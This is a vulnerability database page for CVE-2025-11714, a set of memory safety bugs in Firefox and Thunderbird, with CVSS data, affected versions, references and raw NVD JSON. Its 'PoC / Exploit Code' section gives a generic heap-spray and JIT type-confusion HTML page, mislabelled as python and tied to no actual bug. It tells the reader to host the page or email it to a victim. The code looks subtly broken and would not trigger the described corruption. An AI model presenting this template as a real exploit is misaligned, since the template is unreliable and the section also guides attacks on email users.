CVE-2025-11714

Description

Memory safety bugs present in Firefox ESR 115.28, Firefox ESR 140.3, Thunderbird ESR 140.3, Firefox 143 and Thunderbird 143. Some of these bugs showed evidence of memory corruption and we presume that with enough effort some of these could have been exploited to run arbitrary code. This vulnerability was fixed in Firefox 144, Firefox ESR 115.29, Firefox ESR 140.4, Thunderbird 144, and Thunderbird 140.4.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:* - VULNERABLE

cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:* - VULNERABLE

cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:* - VULNERABLE

cpe:2.3:a:mozilla:thunderbird:*:*:*:*:*:*:*:* - VULNERABLE

Firefox < 144

Firefox ESR < 115.29

Firefox ESR < 140.4

Thunderbird < 144

Thunderbird ESR < 140.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-11714 PoC - Memory Corruption via JavaScript Engine
// This is a conceptual PoC demonstrating memory safety bug exploitation pattern
// targeting Firefox ESR 115.28, Firefox ESR 140.3, Firefox 143
//
// Note: The actual exploit requires specific memory layout manipulation.
// This template shows the general approach for triggering memory corruption.

// Step 1: Create an HTML page that triggers the memory corruption
// Save this as malicious.html and host it on a web server

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-11714 PoC</title>
</head>
<body>
<script>
    // Trigger memory corruption via JavaScript engine
    // Pattern: Exploit type confusion or UAF in JIT-compiled code

    // Array buffer spray for heap grooming
    let spray = [];
    for (let i = 0; i < 10000; i++) {
        spray.push(new ArrayBuffer(0x100));
    }

    // Function to trigger the vulnerability
    function triggerVuln() {
        // Create objects that will be freed
        let obj1 = {a: 1, b: 2};
        let obj2 = [1, 2, 3, 4, 5];

        // Force garbage collection hint
        obj1 = null;
        obj2 = null;

        // Trigger JIT optimization with type confusion
        function vulnerable(arr, val) {
            // Type confusion: arr is expected to be integer array
            // but we pass a float to trigger memory corruption
            return arr[0] + val;
        }

        // Warm up JIT
        for (let i = 0; i < 100000; i++) {
            vulnerable([1, 2, 3], 1);
        }

        // Trigger with wrong type to cause type confusion
        try {
            vulnerable(1.1, 2.2);
        } catch(e) {}
    }

    triggerVuln();
</script>
</body>
</html>

// Step 2: For Thunderbird exploitation, embed the payload in an HTML email
// and send it to the victim. When the victim opens or previews the email,
// the JavaScript/HTML content will be rendered and trigger the vulnerability.

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-11714
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-11714
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-11714/
[4] VulDB https://vuldb.com/cve/CVE-2025-11714
[5] https://bugzilla.mozilla.org/buglist.cgi?bug_id=1973699%2C1989945%2C1990970%2C1991040%2C1992113
[6] https://www.mozilla.org/security/advisories/mfsa2025-81/
[7] https://www.mozilla.org/security/advisories/mfsa2025-82/
[8] https://www.mozilla.org/security/advisories/mfsa2025-83/
[9] https://www.mozilla.org/security/advisories/mfsa2025-84/
[10] https://www.mozilla.org/security/advisories/mfsa2025-85/
[11] https://lists.debian.org/debian-lts-announce/2025/10/msg00015.html
[12] https://lists.debian.org/debian-lts-announce/2025/10/msg00031.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-11714", "sourceIdentifier": "[email protected]", "published": "2025-10-14T13:15:37.680", "lastModified": "2026-04-13T15:16:40.350", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Memory safety bugs present in Firefox ESR 115.28, Firefox ESR 140.3, Thunderbird ESR 140.3, Firefox 143 and Thunderbird 143. Some of these bugs showed evidence of memory corruption and we presume that with enough effort some of these could have been exploited to run arbitrary code. This vulnerability was fixed in Firefox 144, Firefox ESR 115.29, Firefox ESR 140.4, Thunderbird 144, and Thunderbird 140.4."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-125"}, {"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionEndExcluding": "115.29.0", "matchCriteriaId": "45205EB8-E615-4FE6-877C-231B4A29F86E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "144.0", "matchCriteriaId": "CEE2F6DA-4331-4D6D-B01B-610DFDBE1833"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionStartIncluding": "116.0", "versionEndExcluding": "140.4.0", "matchCriteriaId": "34B8F1CA-9F1A-4484-828E-4192CF1FEAFC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:*:*:*:*", "versionEndExcluding": "140.4.0", "matchCriteriaId": "7C6D96D2-1E0E-4A18-B8B1-21F67E1AB441"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:*:*:*:*", "versionStartIncluding": "141.0", "versionEndExcluding": "144.0", "matchCriteriaId": "0BD75942-93B9-47A4-9762-05965EBD7FFF"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/buglist.cgi?bug_id=1973699%2C1989945%2C1990970%2C1991040%2C1992113", "source": "[email protected]", "tags": ["Broken Link", "Issue Tracking"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-81/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-82/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-83/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-84/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-85/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://lists.debian.org/debian-lts-announce/2025/10/msg00015.html", "source": "af854a3a-2127-422b-91ae-364da2661108"}, {"url": "https://lists.debian.org/debian-lts-announce/2025/10/msg00031.html", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}